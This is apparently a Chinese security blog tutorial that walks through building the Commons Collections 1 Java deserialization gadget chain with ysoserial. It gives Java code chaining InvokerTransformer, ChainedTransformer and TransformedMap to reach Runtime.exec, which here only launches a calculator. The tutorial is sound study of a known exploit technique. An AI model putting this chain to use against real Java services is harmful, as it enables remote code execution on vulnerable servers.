白袍的小行星

学习CommonsCollections Gadgets1构造

字数统计: 1.1k阅读时长: 5 min
2020/07/31 Share

CommonsCollections Gadgets1构造是很好的学习Java反序列化的案例,所以这次想通过调试ysoserial来学习CommonsCollections Gadgets1的手动构造。

环境

我是用的IDEA,下载好ysoserial,以Maven的方式导入,等待依赖下载完毕。

因为CommonsCollections1调试需要Java 7,得安装之后选定一下:

Mac下Java安装目录可以通过命令/usr/libexec/java_home -V查看:

基础知识

Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。

在此库里有一个Transformer接口,功能是将一个对象转换成另一个对象,源码如下:

public interface Transformer {
Object transform(Object var1);
}

IDEA里,点击接口源码处左边的小绿点即可看到有哪些类实现了此接口:

InvokerTransformer类里的构造方法和transform方法如下:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
......
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
......
}

构造方法有三个参数,分别是方法名,参数类型和参数,在transform方法中利用反射和它们就可以调用任意对象的函数。

我们尝试用它来进行命令执行:

import org.apache.commons.collections.functors.InvokerTransformer;

public class MyInvoke {
public static void main(String[] args){
InvokerTransformer myInvoke = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("open -na Calculator")});
myInvoke.transform(Runtime.getRuntime());
}

}

CommonsCollections 1

了解了大概的原理之后,就来尝试寻找利用链吧。

我们已经得到命令执行的终点,接下来就该沿着链条向上回溯,找到自动调用transform方法的#类,ysoserial中使用的是LazyMap类,我们手动就使用另一个TransformedMap类。

TransformedMap

TransformedMap类中调用transform()之处如下:

protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

本类中没有调用处,但是在其父类AbstractInputCheckedMapDecorator中有一个重写的setValue方法:

//AbstractInputCheckedMapDecorator.class
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}

TransformedMap的构造方法中调用了其父类AbstractInputCheckedMapDecorator的构造方法:

//TransformedMap.class
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

AbstractInputCheckedMapDecorator的有参构造方法中又调用了它的父类AbstractMapDecorator的构造方法:

//AbstractInputCheckedMapDecorator.class
protected AbstractInputCheckedMapDecorator(Map map) {
super(map);
}

AbstractMapDecorator则是对接口Map的实现,所以当使用MapsetValue方法时,checkSetValue方法就会被调用。从MapsetValue方法调用链里也可以看到:

只要Map对象的Key和Value被修改,那么setValue方法就会被调用。

再来看一个工具人类ChainedTransformer,它也调用了transform方法:

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}

它可以迭代调用反射,那么我们可以传入多个 InvokerTransformer实例来组成一个 ChainedTransformer 对象,让它来帮我们逐个调用这些实例的transform方法。

还要介绍一个ConstantTransformer类,它是用来返回执行命令的对象的:

public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}

写个例子来串一下:

public static void main(String[] args){
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers) ;
chain.transform(1);
}

来解释一下,大体逻辑是我们构建一个Transformer数组对象,然后利用ChainedTransformer来逐个调用里面对象的transform方法。

第一个对象,即返回了传入的对象;

第二个对象,获取getMethod方法,参数为getRuntime

第三个对象,获取invoke方法;

第四个对象,获取exec方法,参数为calc.

此处可能略绕,需要好好思考一下。

好了,该到最终环节,我们梳理一下整个链条:将一个包含执行链的chainedTransformer对象转换成Map对象,最后修改此对象的值,即可成功触发。

public static void main(String[] args) throws IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -na Calculator"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map inMap = new HashMap();
inMap.put("key", "value");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成

for (Iterator iterator = outMap.entrySet().iterator(); iterator.hasNext();){
Map.Entry entry = (Map.Entry) iterator.next();
entry.setValue("123");
}
}
CATALOG
  1. 1. 环境
  2. 2. 基础知识
  3. 3. CommonsCollections 1
    1. 3.1. TransformedMap